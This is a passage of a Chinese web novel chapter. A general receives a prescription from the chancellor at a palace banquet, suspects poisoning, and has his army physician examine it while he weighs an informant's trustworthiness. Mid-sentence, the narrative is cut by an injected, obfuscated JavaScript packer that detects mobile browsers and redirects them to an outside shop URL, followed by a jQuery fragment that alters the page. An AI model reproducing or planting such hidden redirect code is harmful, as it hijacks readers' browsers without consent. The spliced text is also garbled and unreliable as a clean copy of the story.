宋昭抬眼。
周惟衡从袖中取出一张折好的药方,纸角压得很平,像是早已备好。他让身旁内侍递过去,语气关切得毫无破绽:“冯院判说,将军常年征战,旧伤逢阴雨便易痒痛。这方子并非猛药,只是温养筋骨、活血祛寒。将军回府后可让军医照着煎煮,每日一剂,调养些时日,或许能缓解一二。”
那张方子被内侍双手捧着,送到宋昭案前。
纸很薄,折痕清晰,隐约能闻见一点药材的干苦气。
宋昭垂眼看着那张方子,脑中却忽然浮出凶礼司昏黄的灯火,以及季柠压在纸页上的手。
殿中所有目光都在此刻若有若无地落了过来。皇帝也看着他,神色倒很自然,甚至还带着几分关切:“冯嵩医术不错,你那身旧伤也确实该好好养养。北境离京远,平日里军医未必有太医院细致。”
宋昭伸手接过药方,神色平稳:“臣谢陛下关怀,也谢丞相费心。”
周惟衡笑了笑:“将军为国镇边,老臣不过顺手代劳,何谈费心。”
宋昭将药方收入袖中,语气没有半分异样:“臣回府后会命军医照方验看。若无相冲之处,便每日煎煮服用调养。”
这话说得妥当,收了方子,没有当场拂了丞相和太医院的面子;说要军医验看,也不算立刻入口。周惟衡看他一眼,脸上的笑意仍旧温和,像是对这个回答很满意,又像是本就不在意他今日会不会当场服药。
接下来的宴席依旧平稳。
皇帝又同几位大臣议了几句边关粮草,提到北境今冬军需,宋昭答得简明,丞相在一旁补了几句户部调拨,旁人也跟着附和。一切都寻常得不能再寻常,若有人从旁看去,只会觉得这是一场君臣和睦、宾主尽欢的小宴。
宋昭直到离席,也没有碰过那盏水。
皇帝没有再留他,只叮嘱他回府后好生歇息,尽快查清西郊之事。宋昭一一应下,叩拜告退。出殿时,外头那场雨终于落了下来。细雨打在宫檐上,声音很轻,像无数根细针密密落下。
宫人撑伞送他出宫。
宋昭走在长长的宫道上,雨水顺着伞沿滴落,在青石上砸出一串细碎水痕。远处宫门沉沉,近处朱墙无声,四周一切都安静得几乎让人挑不出半点错处。
什么都没发生。
没有毒酒,没有药碗,没有忽然发作的旧伤,也没有太医当场诊脉。那张写着药方的纸安安稳稳躺在他袖中,薄薄一张,却像一枚迟迟未落的棋子。
宋昭走到宫门外时,霍青已经等得焦躁。见他出来,立刻迎上前:“将军?”
宋昭把那张药方取出来,递给他:“让军医不要煎,方子上的每一味药都查清楚。”
霍青神色微变,立刻接过:“是。”
宋昭翻身上马,回头看了一眼雨幕中的宫城。明黄琉璃瓦被雨水洗得发亮,层层宫阙隐在灰蒙蒙的天色里,庄重而沉默,像什么都没有发生过。
他想起季柠昨夜那句提醒,想起周惟衡递方子时的笑,也想起皇帝年轻而温和的眉眼。
这一日,的确什么都没发生,可宋昭握紧缰绳,心底却并没有因此松下去。
宋昭回到北营时,夜已经很深了。
雨还没停,只是比出宫时小了些。细密雨丝斜斜落下来,打在营中一排排军帐上,发出极轻的沙沙声。营门外的火把被雨气压得不大明亮,火光在风里一晃一晃,把守门士兵的脸照得忽明忽暗。远处马厩里偶尔传来几声马嘶,伤兵营那边也还亮着灯,隐隐约约能听见压低的说话声和药炉沸开的细响。
西郊石桥那一场埋伏才过去一日,北营里气氛远不如平日松快。白日里该巡防巡防,该操练操练,到了夜里,那股压在众人心口的沉意便浮了出来。死了人的营地总是会比平常安静一些,不是没人说话,而是每个人都知道,有些名字今日还在点卯册上,明日就要换到阵亡名册里去。
宋昭下马时,霍青快步上前接过缰绳,低声道:“将军,秦医官还在帐里等着。”
宋昭抬眼看向主帐方向,果然见帐中灯火还亮着。随军医官秦岐年纪不算大,却已经跟着北境军走了许多年。此人平日里最爱念叨,见到伤员不肯好生吃药要骂,见到武将旧伤复发还硬撑也要骂,连宋昭都没少被他板着脸数落。只是数落归数落,真到了有事的时候,他比谁都熬得住。
今日也是。
宋昭掀帘入帐时,秦岐正坐在灯下翻医册。桌边放着两只药箱,箱盖没合严,里头药瓶、银针、纱布和几卷旧脉案都露在外头。灯火将他的影子拉得很长,落在帐布上时,瘦削得像一截被风吹弯的竹。
听见动静,秦岐立刻抬头。
看见宋昭完完整整地走进来,他像是终于松了口气,紧绷了一整夜的肩背都微微塌了一下,随后又很快板起脸:“将军总算回来了。宫里这一趟去得太久,霍副将又不肯说清楚,只让属下在这里等。您若再迟半个时辰,属下怕是要亲自去宫门口捞人了。”
霍青跟在后头进来,闻言摸了摸鼻子:“我倒是想说清楚,可将军出宫前也没交代几句。再说了,宫里那地方,哪是你说捞就能捞的?”
秦岐冷冷看他一眼:“那也比干等强。”
霍青被噎得没话说,只能把袖中那张药方递过去:“行行行,先别骂我。将军从宫里带出来的,太医院冯院判开的方子。你看看。”
秦岐接过方子时,神色顿时正了些。
他先就着灯火扫了一遍。纸上的字迹清楚,药名列得规整,君臣佐使也标得分明。秦岐原本还拧着眉,可看着看着,那眉头反倒慢慢松了些。他把方子翻过去看了眼背面,又重新翻回来,从头到尾细细读了一遍。
帐中一时安静下来。
外头雨声绵绵,帐内灯芯偶尔爆出一点细响。宋昭坐在案后,任由秦岐看那张方子,自己则垂眼擦着手边那柄短刀。刀身窄而薄,映着灯火时泛出一层冷色。霍青站在一旁,看了看秦岐,又看了看宋昭,几次想开口,最后都忍住了。
秦岐终于放下方子,道:“乍一看没什么问题。”
霍青一怔:“没问题?”
“你这是什么语气?”秦岐瞥他,“你是盼着有问题?”
“我不是这个意思。”霍青压低声音,“只是这方子是宫里出来的,又是冯院判亲手开的,将军还特地让我拿回来给你看,我还以为……”
他话没说完,却已经把意思说得很明白。
秦岐自然也听懂了。他再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548091|204238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次低头看了看那张药方,沉吟片刻:“药性平和,都是温经散寒、舒筋活络的药。若按这上头的配伍来看,确实是调旧伤的方子。只是方子这东西,单看药名还不够,药量、炮制、药材来源,甚至煎煮时辰都有讲究。属下今夜先拿回去细看,最好再对一对医册。”
宋昭将擦好的短刀放回案上:“去看。”
秦岐把方子收起,仍有些不放心地看了他一眼:“将军今日在宫里,可曾饮酒用药?”
“没有。”
“水呢”
“也没有”
秦岐这才像是真正松了口气,嘀咕道:“还算听话。”
这三个字说得极小,但帐中几个人都听见了。霍青忍不住看了宋昭一眼,心里觉得新鲜。军中敢说这位镇北将军听话的人,秦岐大概能排头一个。偏偏宋昭也没恼,只淡淡抬眼。
秦岐立刻收起那点随军医官特有的胆大,干咳一声:“属下是说,将军旧伤多,出门在外,本就该谨慎。宫中饮食虽说有验毒规矩,但入口的东西,总归还是少碰为好。”
宋昭没有接话。
他想起宣政殿里年轻帝王清俊温和的眉眼,想起丞相周惟衡递方子时那副恰到好处的关切,也想起凶礼司灯下那一卷写着“暴病身亡”的底册。所有人都像在做自己该做的事,皇帝关怀功臣,丞相代为传方,太医尽职尽责,连他不饮酒不喝水,也无人强迫。
这场局若真是局,便干净得太过分了,若不是局,又未免巧得叫人恶心。
秦岐将药方收进医册里,道:“属下先回去查。明早之前,给将军一个准话。”
宋昭嗯了一声。
秦岐离开后,帐中只剩宋昭与霍青。外头雨声渐密,打在帐顶上,像细密而急促的鼓点。霍青站了一会儿,终于忍不住道:“将军,那个季掌簿的话,真能信吗?”
宋昭抬眼看他。
霍青忙道:“属下不是说她一定有问题。她若没递那张便条,今日在西郊石桥遇伏的就是您,这一点属下记着。可她知道得太早,也太巧了。她说的那个什么凶礼司底册,听着就不像正经东西。万一她也是被人推出来的呢?”
宋昭没有否认。
“已经派人去查了。”霍青道,“礼部那边、凶礼司那边,还有昨夜传旨的内监,都在查。只是凶礼司那地方平日里不显山不露水,挂在礼部下面,档案又杂,怕是一时半会儿查不干净。”
宋昭垂下眼,指尖轻轻摩挲过案角。季柠的确可疑。可疑得几乎明晃晃写在脸上。她以礼部之名入将军府,量体时看人的眼神不像司制官;她知道西郊路线会出事;她手里有那份所谓预拟丧仪底册;更重要的是,她明明怕得要命,还是一再伸手。
怕事的人若忽然不惜命,要么有所图,要么过不去心里那道坎。
宋昭现在还看不清季柠是哪一种。
“别惊动她。”宋昭道。
霍青点头应下。他知道宋昭的意思。查归查,但不能打草惊蛇。若季柠身后有人,惊了她,便等于惊了那只真正递刀的手。若她真只是误入局中,那在事情没弄明白前,也不能先把人逼死。
霍青退下后,宋昭一个人在帐中坐了许久。
雨声一夜未停。